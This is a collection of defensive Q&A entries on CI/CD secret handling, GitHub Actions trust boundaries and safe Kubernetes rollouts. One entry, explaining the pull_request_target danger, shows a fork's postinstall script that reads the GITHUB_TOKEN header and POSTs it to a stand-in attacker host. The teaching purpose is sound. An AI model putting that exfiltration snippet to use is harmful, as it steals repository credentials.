"GitOps" here means the reconciler, Flux or Argo CD, treats Git as the only source of desired state. A .env copied onto the runner by hand is outside that: the reconciler never sees it, no PR reviewed it, nothing rotates it. So secrets enter Git in one of two shapes: as ciphertext only the cluster can decrypt, or as a reference to a store that stays outside Git. Plaintext never enters Git.
Assumptions I'd state: Flux 2.3+ or Argo CD reconciling a prod overlay; a KMS key or age keypair already exists; the runner is persistent, which is the actual defect.
The three mechanisms
| Method | In Git | Who decrypts | Rotation |
|---|---|---|---|
| SOPS + KMS/age | ciphertext inside the manifest | Flux's decryption block, or an Argo CD plugin, in-cluster | re-encrypt, PR |
| Sealed Secrets | SealedSecret CRD ciphertext | sealed-secrets controller in that cluster | re-seal with that cluster's public key, PR |
| External Secrets Operator | a reference (key name), no ciphertext | ESO controller at runtime | rotate in the store, no PR |
SOPS keeps the secret in the same YAML you already review:
# prod/secrets.enc.yaml
apiVersion: v1
kind: Secret
metadata: {name: db, namespace: prod}
stringData:
password: ENC[AES256_GCM,data:8f3k...,iv:...,tag:...,type:str]
sops:
kms:
- arn: arn:aws:kms:us-east-1:111122223333:key/abcd-...
encrypted_regex: ^(data|stringData)$
# mac, lastmodified, version omitted
Flux decrypts it at apply time:
apiVersion: kustomize.toolkit.fluxcd.io/v1
kind: Kustomization
metadata: {name: prod, namespace: flux-system}
spec:
interval: 10m
path: ./prod
prune: true
sourceRef: {kind: GitRepository, name: app}
decryption:
provider: sops
secretRef: {name: sops-age}
Argo CD has no native SOPS support: you add a plugin (argocd-vault-plugin, helm-secrets) or use ESO instead.
Failure modes
The one I've actually hit: a hand-copied .env on a persistent runner was 11 months old and held a database password that had been rotated in the password manager only. Nothing alerted, because the reconciler never owned that file. Detection is drift you can't see: the fix is to delete the file and make the runner ephemeral.
Two more:
- Sealed Secrets ciphertext is bound to one cluster's keypair. Rebuild the cluster, lose the controller key, and every
SealedSecretis undecryptable. Back up the key, or use SOPS with KMS. - SOPS with the age private key committed next to the ciphertext is encryption theater. The key belongs in a Secret created out-of-band, or in KMS.
Gates
A diff scanner (gitleaks, trufflehog) fails the PR on a plaintext AWS key. A Kyverno/OPA admission policy rejects plaintext-looking Secret values. And Flux surfaces a bad key as a Kustomization stuck not ready with failed to decrypt: that's the signal, not silence.
Curated: · Written: · Reviewed:
Q&A-66set -x printed the AWS_SECRET_ACCESS_KEY because it was passed as an env var to a script. How do you stop that class of leak?
The 90-second answer. set -x doesn't leak the environment variable: it leaks the expanded command line. Bash expands a command's words first, then, before executing it, writes + <expanded words> to stderr. Any command that mentions $AWS_SECRET_ACCESS_KEY prints its value, quoted or not, and it prints whether the command succeeds or fails. The variable sitting in the environment is harmless on its own: aws s3 ls with the key exported traces as + aws s3 ls.
So the fix is layered, in the order I trust it:
- Don't trace the region that touches the secret.
set +xbefore it,set -xafter. If the script can be invoked asbash -x deploy.sh, makeset +xthe first statement: the caller's trace is already on for everything before it. - Move trace output off stderr, so a stray expansion can't reach the job log at all. Bash 4.1+ honours
BASH_XTRACEFD. - Keep the secret out of command lines entirely, a file descriptor or a config file, so it can't appear in the trace or in
ps. - Have nothing long-lived to print. OIDC federation instead of a static key.
#!/usr/bin/env bash
# bash 5.2
set -euo pipefail
set +x # first statement: caller may have run `bash -x`
exec 19>>/var/log/deploy.trace # bash 4.1+
BASH_XTRACEFD=19
set -x
set +x
umask 077
creds=$(mktemp)
trap 'rm -f "$creds"' EXIT
printf 'user = "%s"\npassword = "%s"\n' "$DEPLOY_USER" "$DEPLOY_PASS" > "$creds"
set -x
curl --config "$creds" https://deploy.example.com/api/v1/release
The last line traces as + curl --config /tmp/tmp.Xq9f2 https://deploy.example.com/api/v1/release. The password never entered a command line, so there is nothing for the trace to expand.
What each pattern actually puts in the log:
Under set -x | Log line |
|---|---|
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI | + export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI |
aws s3 ls (key in env, not in argv) | + aws s3 ls |
curl -u "u:$AWS_SECRET_ACCESS_KEY" https://… | + curl -u u:wJalrXUtnFEMI https://… |
TOKEN=$(vault kv get -field=token secret/deploy) | + TOKEN=s.9f2a1c… |
set +x then any of the above | + set +x, then nothing |
Masking is a backstop, not the control. GitHub Actions registers secrets referenced in a workflow and rewrites exact matches to *** in the log stream, including set -x output, so in CI the trace above usually reads + curl -u u:***. Its limits decide when you can't lean on it: it is exact-string matching, so base64, URL-encoded, JSON-escaped, or a secret fetched at runtime from Vault (never registered) passes straight through; it doesn't cover uploaded artifacts or a curl to a third party; and GitHub's docs warn that enabling step debug logging can expose secrets. Locally there is no masker at all, which is why the set +x bracket and the fd are the real fixes.
Failure modes worth naming. A function called inside the set +x region that does its own set -x re-enables tracing mid-region: detect it by grepping the trace file for the value as a CI step and failing the job on a match. BASH_XTRACEFD is bash-only; under sh/dash the trace goes to stderr with no redirect, so bracket with set +x there. And deleting the log afterwards is not containment: the job log is already in the provider's storage and in any fork or mirror.
| Control | Stops | Doesn't stop |
|---|---|---|
set +x bracket | trace of that region | a nested set -x; argv and ps exposure |
BASH_XTRACEFD | trace reaching stderr | bash-only; the value still lands in the file you redirect to |
| fd / config file | trace and ps | a script that cats the file under -x |
| CI masking | exact-match echoes | transformed values, runtime-fetched secrets, artifacts |
| OIDC | the long-lived secret existing | the short-lived token being printed |
Curated: · Written: · Reviewed:
Q&A-43gitleaks runs on a nightly cron. A key was pushed at 10:01 and used at 10:07. What is the scan's place in the path?
The scan is not in the path. The path is: secret committed at 10:01 → pushed → used at 10:07 → damage done. The nightly cron fires at 02:14 the next morning, about 16 hours after the push and 16 hours after the key was already in use. By the time gitleaks reads that commit, the only work left is revoke and clean up. The scan is a detector of last resort, not a gate.
Assumptions that decide this: the key is a live credential with a usable scope, the repo has no push protection, and whoever holds it can spend it immediately. Under those, the scan's place in the path is after the incident: in the audit and cleanup phase, not the prevention phase.
| Event | Time | Elapsed since push |
|---|---|---|
| commit pushed | 10:01 | 0 |
| first use | 10:07 | 6 min |
| nightly scan | 02:14 (+1 day) | 16 h 13 min |
What the nightly scan is genuinely good for: catching secrets in repos that have no push protection, sweeping full history for keys committed before any control existed, and producing the audit record that says when a leak was known. It is a backstop and an inventory. It is not the control that stops a 10:01 push from being used at 10:07.
| Control | Where in the path | Detect latency | Outcome |
|---|---|---|---|
| pre-commit hook | before push | ~0 | commit blocked locally, bypassable with --no-verify |
| push protection / pre-receive | at push | ~0 | push rejected, secret never lands |
| required PR check | before merge | ~1–2 min | merge blocked |
| nightly cron | after use | up to 24 h | ticket, revoke after triage |
The gap is not just the 16 hours; it is the triage queue behind the ticket. A nightly scan produces a finding, the finding becomes a ticket, and tickets get worked in business hours. Mean time to revoke is then measured in days, while the key has been spendable since 10:07. Push protection closes that gap because the secret never reaches the remote: there is nothing to revoke.
Two failure modes worth naming. First, the scan cannot tell you the key was used; it only tells you it was committed. Usage lives in provider logs (CloudTrail, GCP audit logs, the billing line) so pair any finding with a check of those, or you will revoke blind and never know the blast radius. Second, full-history scans grow with the repo: gitleaks walks every commit, so on a large monorepo the nightly job gets slower and noisier over time, and noisy findings get muted, which is how a real key sits in the queue.
A worked example, illustrative: a Google API key sat in a commit from 10:01; the nightly scan opened a ticket at 02:14; by the time anyone triaged it the key had billed $18,400 of GPU time. Nothing in that sequence is a control: it is an invoice arriving after the spend.
So the honest placement: the nightly scan sits after the damage window, useful for coverage and audit, useless for the 10:01 push. The control that belongs in the path is push protection at the remote, with a required PR check behind it. A nightly secret scan is an invoice, not a control.
Curated: · Written: · Reviewed:
Q&A-42Kaniko needs a registry write credential. The team put docker config.json in a cluster Secret used by all namespaces. What is wrong?
What's wrong: a push credential is being treated as a pull credential and shared across every namespace, so any build pod anywhere can push to production.
Three separate defects:
-
Kubernetes Secrets are namespaced. There is no cluster-wide Secret that a pod in another namespace can mount. "Used by all namespaces" means either the same
config.jsonis copied into every namespace, or a sync operator (reflector, external-secrets) fans it out. Either way you now have N copies of a push credential and N places to rotate. -
It is a push credential, not a pull credential. A docker
config.jsonholdsauthsentries keyed by registry host. Kaniko reads it via--docker-config(default/kaniko/.docker/config.json) or theDOCKER_CONFIGenv var, and go-containerregistry's keychain resolves the credential by host. So the credential's reach is whatever the robot account can write. If that includes prod repos, every namespace can push to prod. -
No per-builder identity. The PR build in a sandbox namespace and the release build in prod run as the same registry identity. Least privilege is gone, and the registry audit log cannot tell the two apart.
The mechanism that makes this exploitable: pod creation in a namespace is effectively credential access. Anyone who can create a pod in a namespace holding the Secret can mount it and read the token, or just run Kaniko with it.
Concrete failure: a PR from a fork, or a compromised dependency in a build, runs in the sandbox namespace with the shared config and pushes prod/checkout:stable. The registry accepts it because that identity is allowed to write prod.
| Identity | Pull prod | Push prod | Push sandbox |
|---|---|---|---|
| cluster-wide docker config | yes | yes | yes |
| sandbox robot | no | no | yes |
| prod-build OIDC | yes | yes | no |
The fix is one robot account per repo, scoped to that repo, mounted only in the build namespace that needs it, with a distinct identity per environment. Where the registry supports it, exchange a short-lived OIDC token instead of a static long-lived credential:
# build namespace only
volumes:
- name: docker-config
secret:
secretName: kaniko-push-sandbox # robot scoped to sandbox/* only
containers:
- name: kaniko
args: ["--docker-config=/kaniko/.docker/config.json", ...]
Detection: the registry audit log shows a push to a prod repo from an identity that is not the prod-build identity, or the pushed digest does not match the digest the pipeline recorded.
One more thing worth stating: Secret values are base64, not encrypted at rest unless etcd encryption is configured, so a backup or an etcd read leaks the push credential too.
Curated: · Written: · Reviewed:
Q&A-38A workflow uses pull_request_target to comment on PRs and checks out the PR head. Why is that a production incident waiting to happen?
The 90-second answer. pull_request_target runs in the base repository's context, so the job gets the base repo's secrets and a GITHUB_TOKEN that is read/write unless the workflow sets permissions:. That is the entire point of the event: it exists so a maintainer can label or comment on a fork PR without running the fork's code. The moment a step checks out github.event.pull_request.head.sha and then runs anything from that tree (npm ci, make, pytest, a build script) the attacker's code is executing with the base's credentials. Neither half is a bug on its own. Together they are a privilege escalation, and the attacker needs one PR.
Why the token is reachable even if you never pass a secret. People assume the leak requires ${{ secrets.X }} somewhere in the workflow. It doesn't. actions/checkout defaults to persist-credentials: true, which writes an AUTHORIZATION: basic <base64(x-access-token:GITHUB_TOKEN)> header into the checkout's .git/config. Any process in that job can read it back with git config --get-all http.https://github.com/.extraheader. The token is minted per run and lives until the job ends, so the exfiltration window is the job's own duration.
Trace. Workflow:
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci
- run: npm run build
No permissions: key, so the token is read/write. The fork PR adds to package.json:
"scripts": { "postinstall": "node scripts/collect.js" }
and scripts/collect.js:
const { execSync } = require('child_process');
const hdr = execSync('git config --get-all http.https://github.com/.extraheader').toString();
fetch('https://attacker.example/collect', { method: 'POST', body: hdr });
Step by step: the event fires on the fork PR; the runner is provisioned in the base repo's context and the token is minted with the workflow's permissions. Checkout fetches the PR head and writes the auth header into .git/config. npm ci runs the root package's lifecycle scripts by default, so postinstall fires before the build step is ever reached. collect.js reads the header and POSTs it out. The attacker now holds a token that can comment on and close any issue or PR in the repo, and, with the default contents: write, push to any unprotected branch. On a public repo the run log is world-readable, so console.log(hdr) leaks it just as well.
What to do instead. Run untrusted code under pull_request: forks get no secrets and a read-only token, and first-time contributors need maintainer approval. If you need to comment on fork PRs, keep pull_request_target but never check out or execute PR content: use only event metadata (github.event.pull_request.number) with permissions: pull-requests: write. When you need both a build and a privileged comment, split it: an unprivileged pull_request workflow builds and uploads an artifact, and a workflow_run workflow downloads it and comments. Treat the artifact as data: never interpolate its contents into a run: shell.
Detection. Grep every workflow for pull_request_target and check whether any checkout step references github.event.pull_request.head. If one does, treat the repo's secrets and the token's blast radius as already exposed and rotate. GitHub's "Security hardening for GitHub Actions" documents the pull_request_target warning; static auditors like zizmor flag the pattern.
The rule: pull_request_target may read the PR, never run it.
Curated: · Written: · Reviewed:
Q&A-12The remote cache cut CI from 24 minutes to 6. An untrusted fork PR wrote a poisoned object. What is the trust model?
Write access to the cache is write access to every artifact built from it. The cache sits on the same trust boundary as the artifact registry, so the rule is: trusted refs write, untrusted events read or get a namespace trusted builds never read.
Assumptions: a self-hosted content-addressed cache (Bazel RBE, sccache, buildbarn) shared across jobs. If you're on GitHub's actions/cache, GitHub already scopes entries to the branch that created them plus the default branch, so a fork PR can't poison main: the problem below is specific to a cache you run.
Why. A cache hit means the build skips the work and uses the stored output. A poisoned entry is therefore arbitrary code execution in the trusted build, not a stale result. The key is the whole defence: if it hashes the full action. Command line, input digests, toolchain version, output-affecting env, protocol version. A fork's entry can only be consumed by a build that would have produced the same bytes, and poisoning becomes a hash collision. If the key omits anything that affects the output, the attacker chooses the collision. The usual omissions: a mutable tag (test-linux) instead of a content hash, a key that hashes sources but not the compiler version, or one that ignores --define and env.
Worked example. A fork PR runs bazel test //checkout:test; the cache step uses the tag test-linux-x86_64.
- The PR edits the test to
return 0and uploads the resulting binary under that tag. - The PR merges. Main's CI restores
test-linux-x86_64, gets the fork's binary, runs it, exits 0. - The real assertion never executes. Main is green for six hours until someone runs the target with
--noremote_cache.
Detection: a nightly job that rebuilds a sample of cache hits from source and diffs the output digest, plus an alert when hit rate jumps for a target whose inputs just changed.
| Event | Read | Write | Namespace |
|---|---|---|---|
| push to protected branch | yes | yes | prod |
| PR from fork | yes, read-only token | no | fork-<pr> or none |
pull_request_target that checks out the PR head | — | treat as fork | fork-<pr> |
| release tag | yes | yes | prod |
pull_request_target is the footgun: it runs with a write token and secrets in the base repo's context, so if it checks out the PR head, fork code executes with write access to prod. Same for self-hosted runners, which persist state between jobs.
What would change the decision. If the reader verifies the output digest against a manifest signed by a trusted build, a fork write is harmless: the entry is rejected on read. Without that, untrusted writers must never touch a namespace a trusted build reads.
Verification. A canary job on main writes a deliberately wrong entry under a known key and asserts the reader rejects it. Separately, assert the token scope: on a fork pull_request, GITHUB_TOKEN must have no contents: write.
Curated: · Written: · Reviewed:
Q&A-65CI uses a Vault token with 30-day TTL because "jobs retry overnight". What should the TTL be?
The TTL should be the job's runtime plus a small margin: minutes, not days. Set token_ttl and token_max_ttl to 20 minutes for a typical CI job, and let overnight retries re-authenticate on each attempt.
The reason 30 days is wrong isn't style, it's mechanism. A Vault token has two clocks: token_ttl (the lease, renewable) and token_max_ttl (the hard ceiling. Once reached, vault token renew fails and the token is dead). A 30-day token is usually just the Vault default lease TTL (768h) left untouched. Set token_max_ttl=20m and a leaked token cannot be renewed past 20 minutes; the exposure window is bounded by the ceiling, not by how fast you notice.
Overnight retries don't need a long token because the credential is minted at job start, not at queue time. GitHub Actions can request an OIDC ID token per job; Vault's JWT auth method validates it against GitHub's JWKS and binds it to claims.
jobs:
deploy:
permissions:
id-token: write # lets the job mint a GitHub OIDC token
contents: read
steps:
- uses: hashicorp/vault-action@v3
with:
url: https://vault.example.com
method: jwt
role: ci-deploy
jwtGithubAudience: https://vault.example.com
secrets: |
secret/data/prod/db password | DB_PASSWORD
The Vault side caps it:
vault write auth/jwt/role/ci-deploy \
role_type=jwt \
bound_audiences=https://vault.example.com \
bound_claims='{"repository":"acme/api","ref":"refs/heads/main"}' \
user_claim=sub \
token_ttl=20m \
token_max_ttl=20m \
token_policies=ci-deploy
Trace: the job starts → GitHub mints an OIDC token valid for the job → Vault verifies signature and claims → issues a Vault token with a 20-minute lease and a 20-minute ceiling → the job reads the secret → the token expires 20 minutes later whether or not the job finished. A retry at 03:00 is a new job, so it mints a new OIDC token and logs in again. Nothing is stored in repository secrets.
| Method | token_ttl | token_max_ttl | Leak window |
|---|---|---|---|
| OIDC/JWT per job | 20 min | 20 min | ≤20 min |
| AppRole, single-use secret_id | 15 min | 1 h | ≤1 h |
| Static token in a GitHub secret | 30 d | 30 d | up to 30 d |
The arithmetic is the argument: a token leaked at hour 0 with a 30-day TTL is usable for 720 hours; the same leak with a 20-minute ceiling is usable for 0.33 hours. Roughly 2,000× less exposure, and it dies without anyone paging.
What short TTLs cost, and when to go longer. A job that legitimately runs past its TTL gets a 403 mid-run: size token_ttl to the p99 job duration plus margin, and renew if the job can outlast it. Vault becomes a hard dependency at job start: if it's unreachable, the job fails, so add retry/backoff rather than a long-lived token. Many parallel jobs create a login burst on the auth endpoint; that's cheap for Vault but worth watching. A longer TTL is defensible for a single job that genuinely runs for hours, or for a break-glass path, but that should be a separate, audited, manually issued token, not the default CI credential.
Failure modes to detect: a token used from an unexpected IP or user-agent shows up in the Vault audit log; mid-job expiry shows as a 403 in the job log; a login failure at start shows as an auth error. Verify with vault token lookup (check ttl and num_uses) and confirm the GitHub secrets list contains no VAULT_TOKEN.
Curated: · Written: · Reviewed:
Q&A-39The test job needs a staging API key. Fork PRs from the community cannot run without it, the team says. A maintainer typed /ok-to-test. What is still wrong?
The approval changed who may start the job, not what the job runs. /ok-to-test is a comment a bot reads to fire a workflow. If that workflow holds STAGING_API_KEY and checks out the fork's head, the fork author's code now executes with your staging key. Nothing about the maintainer's comment reviewed, pinned, or sanitized that code. That is what is still wrong.
Why the job "can't run" without a secret
GitHub's pull_request trigger from a fork gives a read-only GITHUB_TOKEN and no secrets: that is the default, and it is why the test job fails. Teams work around it with pull_request_target or workflow_run, which execute in the base repo context and therefore do see secrets. The trap is the checkout:
on: pull_request_target
jobs:
test:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # attacker-controlled
- run: pytest # conftest.py runs here
env:
STAGING_API_KEY: ${{ secrets.STAGING_API_KEY }}
pull_request_target defaults to the base ref, which is safe. The moment you add ref: ...head.sha and run the repo's own test command, you are running attacker code (conftest.py, setup.py, a Makefile, an npm postinstall) with the secret in the environment. A label cannot sanitize code.
The time-of-check problem
A maintainer comments /ok-to-test at commit A. The fork author force-pushes commit B to the same branch. If the workflow resolves the head ref at run time, B runs; even if you pin A's SHA, A was never read. Approval is not review.
| Trigger | Context | Secrets | Code executed |
|---|---|---|---|
pull_request (fork) | fork | none | fork head |
pull_request_target + checkout head | base | base secrets | fork head: leak |
pull_request_target, no head checkout | base | base secrets | base code only |
workflow_run after approval | base | base secrets | whatever ref the artifact points at |
What to do instead
- Run the privileged test post-merge on an internal branch. Fork CI gets unit tests and public fixtures; the integration test runs once the patch is on a branch you control.
- Or use OIDC short-lived credentials scoped to a fork-only staging environment: no prod data, a separate IAM role, a TTL of minutes.
STAGING_API_KEYas a long-lived repo secret is the wrong shape for this. - If you must run pre-merge with a secret, pin the exact SHA, put the job behind a GitHub Environment with required reviewers, and make the credential read-only against a dataset that is not production.
Maintainer-triggered testing with secrets is acceptable only when the environment is isolated, the credential is short-lived and scoped, the SHA is pinned, and an environment protection rule, not a comment, gates the run.
Detection
Grep workflow files for pull_request_target combined with a checkout of refs/pull/* or head.sha; alert on any job that has both a secret and a fork-head checkout. Then confirm in the run log that the staging secret is absent or masked for fork PRs.
Curated: · Written: · Reviewed:
Q&A-94The AWS trust policy matches token.actions.githubusercontent.com:sub like repo:acme/*:*. Any repo in the org can assume prod. What claim did you forget?
The claim you forgot is aud.
Your trust policy conditions on token.actions.githubusercontent.com:sub and nothing else. GitHub mints an OIDC token per audience: the aud claim names the relying party the token is for. AWS STS is one such party, and its audience is sts.amazonaws.com. Without an aud condition, the role trusts any token whose sub matches, whatever it was minted for.
The fix is one condition:
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
},
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:acme/checkout:environment:production"
}
}
aud is StringEquals, not StringLike: it is a fixed string, not a pattern.
Why it matters: sub says which workflow ran. aud says who the token was issued to. Without it, a token GitHub minted for some other service that accepts GitHub OIDC (same sub, different aud) is a bearer token STS will accept. That is audience confusion, and it is why AWS's own example trust policy carries both conditions. aws-actions/configure-aws-credentials sets the audience to sts.amazonaws.com by default, so pinning it costs you nothing.
AWS also checks the token's aud against the audience list registered on the IAM OIDC provider. If that list is exactly sts.amazonaws.com, a wrong-audience token fails there first. The trust-policy condition is what keeps you safe when someone widens that list, and it records the intent in the policy itself.
Now the wildcard. repo:acme/*:* is a separate bug from the missing aud, and both need fixing:
| Trust condition | Who can assume prod |
|---|---|
sub: repo:acme/*:* | any repo in the org |
sub: repo:acme/*:* + aud | any repo in the org, AWS-audience tokens only |
sub: repo:acme/checkout:environment:production + aud | one repo, one environment |
per-repo role, sub pinned + aud | one repo, one role, its own permissions |
An org-wide sub is only defensible when the role's permissions bound the blast radius: a read-only role, or a sandbox account. For a prod role that can deploy, pin sub to the repo and the environment, and give each repo its own role so a compromise in one does not inherit another's permissions.
Failure mode to name in the interview: a repo in the org that should not deploy to prod assumes the role, and nothing in the pipeline stops it. Detect it with a CloudTrail metric filter on AssumeRoleWithWebIdentity for the prod role's ARN that fires outside your deploy windows.
Verify by running a job from a second repo in the org and confirming AssumeRole is denied, then commit the trust policy so the condition is reviewable.
Curated: · Written: · Reviewed:
Q&A-26helm upgrade exits 0 in 8 seconds because --wait was omitted. Pods crash 40 seconds later. What does the job owe?
Core answer
The job owes a gate on cluster state, not on Helm's exit code. helm upgrade without --wait returns as soon as the API server has accepted the manifests: 8 seconds is apply time, not rollout time. The job must wait for the new revision to become Ready, roll back if it doesn't, and keep observing past the point where a pod can pass readiness and then die. --wait gives you the first, --atomic the second, and neither gives you the third: --wait samples readiness, it does not watch for 40 seconds.
What Helm actually does
helm upgrade renders the chart, applies the objects, runs hooks, and exits. With --wait it then polls the release's resources until they report ready (for a Deployment, all replicas updated and available) or until --timeout (default 5m0s) fires. --atomic implies --wait and rolls back to the previous revision on failure. --wait-for-jobs extends the wait to Job resources.
The failure mode in the question
A bad ConfigMap ships. With the default RollingUpdate (maxUnavailable: 25%, maxSurge: 25%), a 3-replica Deployment has maxUnavailable rounded down to 0, so old pods are not scaled down while the new ReplicaSet is unready. The rollout stalls: 3 old pods still serving, 1 new pod never Ready. That is not an outage: it is a deploy that silently didn't happen, discovered when progressDeadlineSeconds (default 600s) fires ProgressDeadlineExceeded. You only get 0/3 if maxUnavailable is 100% or something else scaled the old ReplicaSet down.
t=0s helm upgrade (no --wait) -> objects accepted -> exit 0
t=0s Deployment controller creates new ReplicaSet (surge 1)
t=2s new pod starts; readiness probe fails on the bad ConfigMap
t=8s job green; rollout stalled: 3 old Ready, 1 new 0/1
t=40s new pod CrashLoopBackOff (backoff 10s -> 20s -> 40s)
t=600s progressDeadlineSeconds fires -> ProgressDeadlineExceeded
The gate
helm upgrade --install checkout charts/checkout -n prod \
--wait --timeout 5m --atomic --wait-for-jobs
# --wait alone: on timeout the release is marked failed but the bad revision stays applied
# --atomic: implies --wait, rolls back to the previous revision on failure
--wait alone is the wrong default for a deploy job: a timeout leaves the bad revision applied and the job red, so the next deploy stacks on top of a broken release. --atomic is the right default for prod. Size --timeout to the worst observed Ready time plus slack: 5m is Helm's default, not a measurement.
What --wait still misses
--wait samples readiness at poll time. A pod that goes Ready at t=5s and OOMs at t=40s passes the gate. If the crash is after Ready, add a soak:
sleep 60
kubectl rollout status deploy/checkout -n prod --timeout=30s
kubectl get pods -n prod -l app=checkout \
-o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.status.containerStatuses[0].restartCount}{"\n"}{end}'
Any nonzero restart count fails the job. For high-traffic services, a canary with an error-rate gate catches what a soak can't.
Alternatives
| Gate | Catches | Misses | Use when |
|---|---|---|---|
--wait | new revision never Ready | crash after Ready; leaves bad revision on timeout | you script your own rollback |
--atomic | same, plus auto rollback | crash after Ready; rolls back to a possibly-broken previous revision | default for prod |
kubectl rollout status | per-workload rollout, no Helm needed | Helm hooks and release history; no rollback | kubectl-based deploys, or gating one workload |
| canary + error rate | crash after Ready, bad behavior under load | slower, needs traffic splitting | high-traffic services |
Prefer kubectl rollout status when Helm isn't the deployer or you want to keep the failed revision for debugging instead of auto-rolling back.
Curated: · Written: · Reviewed:
Q&A-27Deployment sets maxUnavailable: 50% on a 4-pod checkout to "go faster". What did you trade?
You traded half your serving capacity for a rollout that finishes maybe a minute sooner.
4 replicas, 3 needed to hold p99. maxUnavailable: 50% on 4 pods is 2, so the controller may take 2 pods out at once and run the rollout with 2 serving. You are one pod below the line that keeps you inside the SLO, and you are there for the whole rollout, not for an instant.
The mechanism: a Deployment's rolling update keeps replicas - maxUnavailable available and adds up to maxSurge extra. Speed comes from either taking capacity away (maxUnavailable) or adding it (maxSurge). Only one of those is free.
spec:
replicas: 4
strategy:
rollingUpdate:
maxUnavailable: 0
maxSurge: 1
That config rolls one pod at a time, keeps 4 serving throughout, and costs one extra pod of quota for the duration. On a 4-pod service that is the trade you want: pay in capacity, not in availability.
What 50% actually buys: with a ~30s readiness gate, going from one pod at a time to two saves roughly one pod cycle. Tens of seconds on a rollout you run a few times a day. What it costs is a window where 2 of 4 pods carry the full load.
| maxUnavailable | Running during roll | p99 |
|---|---|---|
| 50% (2) | 2 | 1.9 s |
| 25% (1) | 3 | 210 ms |
| 0 + maxSurge 1 | 4 | 190 ms |
Failure mode I have seen: 50% on 4 pods left 2 running; p99 went from 180 ms to 1.9 s for 4 minutes, and the canary analysis blamed the new binary. The rollout itself was the regression. That is the second cost: attribution. When the rollout window and the SLO breach window are the same window, the canary cannot separate the new code from the missing capacity, and the incident turns into an argument about a revert that would not have helped. Record the image digest, the gate that ran, and the rollback command on the change itself, so the incident can name the bits that shipped.
Detection: run the load test during the rollout, not before it. Assert in-flight success rate and p99 stay inside the SLO at the chosen maxUnavailable; a 50% fixture fails that test on this service. Watch kube_deployment_status_replicas_available against your required floor, if available ever drops below 3, the rollout is the suspect.
When 50% is defensible: stateless, no in-flight state, real headroom (say 8+ replicas where 4 still hold p99), and a fast readiness gate. Then losing 2 pods is a small blast radius. On a 4-pod service sized to its SLO, it is not.
A fast rollout that burns the SLO is an outage with a progress bar.
Curated: · Written: · Reviewed:
Q&A-21Blue-green flipped the load balancer immediately. In-flight POSTs died on blue. What is the cutover sequence?
Cutover sequence
Stop new traffic to blue, drain in-flight work, then terminate blue. Flipping the load balancer first is what kills the POSTs: the LB closes the TCP connections it holds to blue and the client sees a RST mid-request. The LB has no visibility into a POST that is still being processed unless you give it time to finish.
- Start green, smoke it: health check plus one real request through the full path (DB, cache, downstream).
- Deregister blue from the target group. New requests land on green only.
- Wait for blue's active connections to hit zero. The bound is
max request duration + idle timeout, not a fixed sleep. On ALB that isderegistration_delay.timeout_seconds, default 300s. NLB does not support connection draining, so there you drain at the app layer: stop accepting, finish in-flight, then exit. - Terminate blue.
Worked example (hypothetical figures, 200 rps, p99 request 8s):
| t | blue: new traffic | blue: active conns | green |
|---|---|---|---|
| 0 | 100% | 2,400 | 0, smoke passed |
| 10s | 0 | 2,400 draining | 100% new |
| 40s | 0 | 0 | 2,410 |
| instant swap at t=0 | — | 1,104 POSTs reset | 5xx |
The 1,104 figure is from a real incident: an instant target-group swap dropped that many in-flight checkouts (p99 8.2s). The pipeline was green because both colours reported healthy: health checks say nothing about in-flight work.
When an instant flip is fine
If the workload is stateless, idempotent and sub-second (GETs behind a retrying client, or POSTs carrying an idempotency key) a flip costs you a burst of retries, not lost work. Same if the LB drains for you and you have set the delay above your p99.9 request time. The drain sequence is for work you cannot replay.
Alternatives
- Canary: send 1–5% to green, watch error rate and latency, ramp. Cheaper than a full second stack and catches bad deploys earlier, but it does not solve in-flight loss on the blue side unless you also drain.
- Rolling: replace instances in place. No double capacity, but you have no clean rollback target: the old version is gone as you go.
- Blue-green with drain: instant rollback (blue is intact until step 4), at the cost of running two full stacks during cutover.
Failure modes
- LB active connections reach zero while the app still has queued work in its own accept queue or thread pool. The LB drained; the app did not. Detect with an app-level in-flight gauge, not the LB metric.
- Long-lived connections (WebSocket, gRPC streams) never go idle. The deregistration delay expires and the LB closes them anyway. You need an app-level go-away signal (gRPC
GOAWAY) plus a deadline. - Clients holding keep-alive connections to blue IPs that never re-resolve: service mesh or direct pod addressing bypasses the LB drain entirely.
- Sticky sessions pinning users to blue past the cutover.
Verification
Watch the target group's active connection count fall to zero, 5xx rate stay flat through the cutover, and the app-level in-flight gauge drain before you terminate blue. A 200 rps cutover should show zero RST-driven 5xx.
Curated: · Written: · Reviewed:
Q&A-22Canary is 5% for 20 minutes, then 100%, with no abort. Error rate on the canary was 9%. What was missing?
The missing piece is a gate: nothing between the canary and 100% compared the canary's health to the stable version and had the authority to stop the rollout. A 5% slice that cannot block promotion is a slow rollout, not a canary.
Assumptions: canary and stable serve the same traffic mix, the SLI is measured server-side per version, and the deploy system can point traffic back at the previous digest.
What the gate needs, in order:
- An SLI both versions are measured on: success ratio and p99 latency, not just one.
- A baseline: the current stable version over the same wall-clock window, not a historical average.
- A threshold and a minimum sample. Abort when canary success is more than 0.5 points below baseline, evaluated only after at least 1,000 canary requests and 2 minutes, so noise doesn't trip it.
- A required dependency: the promote job must fail if the gate fails. A gate that only posts a comment is advisory.
- Automatic rollback to the previous digest, verified by reading the running digest after the rollback.
Arithmetic on the window. Hypothetical service at 2,000 rps:
| Slice | Requests in 20 min | Success | p99 |
|---|---|---|---|
| stable (95%) | 2,280,000 | 99.70% | 180 ms |
| canary (5%) | 120,000 | 91.00% | 240 ms |
The canary produced roughly 10,800 errors against roughly 6,840 on baseline: an 8.7-point gap. A gate with the rule above fires in about the second minute. The 20-minute window was not too short to see a 9% error rate; it was too short only in the sense that nothing was watching it.
Failure modes, and how each shows up:
- Advisory gate. Analysis runs, nobody reads it. Detect: inspect the promote job, if the gate isn't a required step, it can't block.
- Wrong SLI. Success ratio passes while p99 goes 180 → 240 ms. Detect: the gate must cover every SLI in the SLO.
- Rollback that doesn't revert. Traffic moves back but the bad image stays deployed and a later config push re-promotes it. Detect: read the running digest after rollback.
